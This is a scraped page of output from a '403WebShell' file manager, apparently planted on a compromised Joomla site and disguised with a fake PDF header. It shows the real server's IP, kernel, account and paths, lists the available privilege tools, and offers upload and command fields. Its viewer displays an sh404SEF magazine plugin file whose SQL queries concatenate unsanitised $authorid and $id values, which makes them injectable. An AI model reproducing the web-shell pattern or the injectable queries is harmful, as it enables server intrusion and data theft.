%PDF- %PDF- 403WebShell
403Webshell
Server IP : 79.170.40.229  /  Your IP : 3.133.124.241
Web Server : Apache
System : Linux web231.extendcp.co.uk 4.18.0-513.24.1.el8_9.x86_64 #1 SMP Mon Apr 8 11:23:13 EDT 2024 x86_64
User : 1stforcarhirealicante.com ( 296923)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/cwd/components/com_sh404sef/sef_ext/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/cwd/components/com_sh404sef/sef_ext/com_magazine.php
<?php
/**
 * sh404SEF support for iJoomla magazinecomponent.
 * Copyright Yannick Gaultier (shumisha) - 2007
 * shumisha@gmail.com
 * @version     $Id: com_magazine.php 866 2009-01-17 14:05:21Z silianacom-svn $
 * {shSourceVersionTag: Version x - 2007-09-20}
 */

defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

// ------------------  standard plugin initialize function - don't change ---------------------------
global $sh_LANG;
$sefConfig = & shRouter::shGetConfig();  
$shLangName = '';
$shLangIso = '';
$title = array();
$shItemidString = '';
$dosef = shInitializePlugin( $lang, $shLangName, $shLangIso, $option);
if ($dosef == false) return;
// ------------------  standard plugin initialize function - don't change ---------------------------

// ------------------  load language file - adjust as needed ----------------------------------------
$shLangIso = shLoadPluginLanguage( 'com_magazine', $shLangIso, '_SH404SEF_IJOOMLA_MAG_SHOW_EDITION');
// ------------------  load language file - adjust as needed ----------------------------------------


if (!empty($option))
  shRemoveFromGETVarsList('option');
if (!empty($lang))
  shRemoveFromGETVarsList('lang');
if (!empty($Itemid))
  shRemoveFromGETVarsList('Itemid');

// start IJoomla specific stuff
$func = isset($func) ? @$func : null;   
if (!empty($func)) {
  shRemoveFromGETVarsList('func');
}  
$task = isset($task) ? @$task : null;
$Itemid = isset($Itemid) ? @$Itemid : null;
// shumisha : insert magazine name from menu
$shIJoomlaMagName = shGetComponentPrefix($option);
$shIJoomlaMagName = empty($shIJoomlaMagName) ?  getMenuTitle($option, (isset($task) ? @$task : null), $Itemid, '', $shLangName ) : $shIJoomlaMagName;
$shIJoomlaMagName = (empty($shIJoomlaMagName) || $shIJoomlaMagName == '/') ? 'Magazine':$shIJoomlaMagName; // V 1.2.4.t  

switch ($func)
{
    case 'author_articles':
      if ($sefConfig->shInsertIJoomlaMagName) $title[] = $shIJoomlaMagName;
      if ( !empty ($authorid)) { 
        $query  = "SELECT id, name FROM #__users" ;
		    $query .= "\n WHERE id=".$authorid;
		    $database->setQuery( $query );
		    if (!shTranslateUrl($option, $shLangName))  // V 1.2.4.m
		      $result = $database->loadObject(false);
        else $result = $database->loadObject();
		    $shRef = empty($result)?  // no name available
        $sh_LANG[$shLangIso]['_SH404SEF_IJOOMLA_MAG_AUTHOR'].$sefConfig->replacement.$authorid // put ID
          : ($sefConfig->shInsertAuthorId ? $authorid.$sefConfig->replacement : ''); // if name, put ID only if requested
		    $title[] = $shRef.(empty( $result ) ? '' :  $result->name);
      }
      shRemoveFromGETVarsList('authorid');
      $title[] = $sh_LANG[$shLangIso]['_SH404SEF_IJOOMLA_MAG_VIEW_ALL_ARTICLES'];
		break;
		case 'author_list':
		  if ($sefConfig->shInsertIJoomlaMagName) $title[] = $shIJoomlaMagName;
		  $title[] = $sh_LANG[$shLangIso]['_SH404SEF_IJOOMLA_MAG_VIEW_ALL_AUTHORS'];
		break;
		case 'show_magazine':  // V 1.2.4.g 2007-04-07
		  if ($sefConfig->shInsertIJoomlaMagName) $title[] = $shIJoomlaMagName;
		  if ( !empty ($id)) { 
        $query  = "SELECT id, title FROM #__magazine_sections" ;
		    $query .= "\n WHERE id=".$id;
		    $database->setQuery( $query );
		    if (!shTranslateUrl($option, $shLangName))  // V 1.2.4.m
		      $result = $database->loadObject(false);
        else $result = $database->loadObject();
		    $shRef = empty($result)?  // no name available
        $sh_LANG[$shLangIso]['_SH404SEF_IJOOMLA_MAG_MAGAZINE'].$sefConfig->replacement.$id // put ID
          : ($sefConfig->shInsertIJoomlaMagMagazineId ? $id.$sefConfig->replacement : ''); // if name, put ID only if requested
		    $title[] = $shRef.(empty( $result ) ? '' :  $result->title);
      }
      shRemoveFromGETVarsList('id');
      $title[] = $sh_LANG[$shLangIso]['_SH404SEF_IJOOMLA_MAG_VIEW_MAGAZINE'];
		break;
		
		case 'show_edition':
		  //echo 'func = '.$func.'<br />';
		  //echo 'id = '.$id.'<br />';
		  if ($sefConfig->shInsertIJoomlaMagName) $title[] = $shIJoomlaMagName;
		  if ( !empty ($id)) { 
        $query  = "SELECT id, title FROM #__magazine_categories" ;
		    $query .= "\n WHERE id=".$id;
		    $database->setQuery( $query );
		    if (!shTranslateUrl($option, $shLangName))  // V 1.2.4.m
		      $result = $database->loadObject( false);
        else $result = $database->loadObject();
		    $shRef = empty($result)?  // no name available
        $sh_LANG[$shLangIso]['_SH404SEF_IJOOMLA_MAG_EDITION'].$sefConfig->replacement.$id // put ID
          : ($sefConfig->shInsertIJoomlaMagIssueId ? $id.$sefConfig->replacement : ''); // if name, put ID only if requested
        //echo 'shRef = '.$shRef.'<br />';
		    $title[] = $shRef.(empty( $result ) ? '' :  $result->title);
		    //var_dump($title);
		    //die();
      }
      shRemoveFromGETVarsList('id');
      $title[] = $sh_LANG[$shLangIso]['_SH404SEF_IJOOMLA_MAG_SHOW_EDITION'];
		break;
		  
    case 'show_article':
      if ($sefConfig->shInsertIJoomlaMagName) $title[] = $shIJoomlaMagName;
      $title[] = $sh_LANG[$shLangIso]['_SH404SEF_IJOOMLA_MAG_SHOW_RELATED_ARTICLES'];
    break;
		
    default:
      $title[] = $shIJoomlaMagName;
    break;
}

// ------------------  standard plugin finalize function - don't change ---------------------------  
if ($dosef){
   $string = shFinalizePlugin( $string, $title, $shAppendString, $shItemidString, 
      (isset($limit) ? @$limit : null), (isset($limitstart) ? @$limitstart : null), 
      (isset($shLangName) ? @$shLangName : null));
}      
// ------------------  standard plugin finalize function - don't change ---------------------------
	
?>

Youez - 2016 - github.com/yon3zu
LinuXploit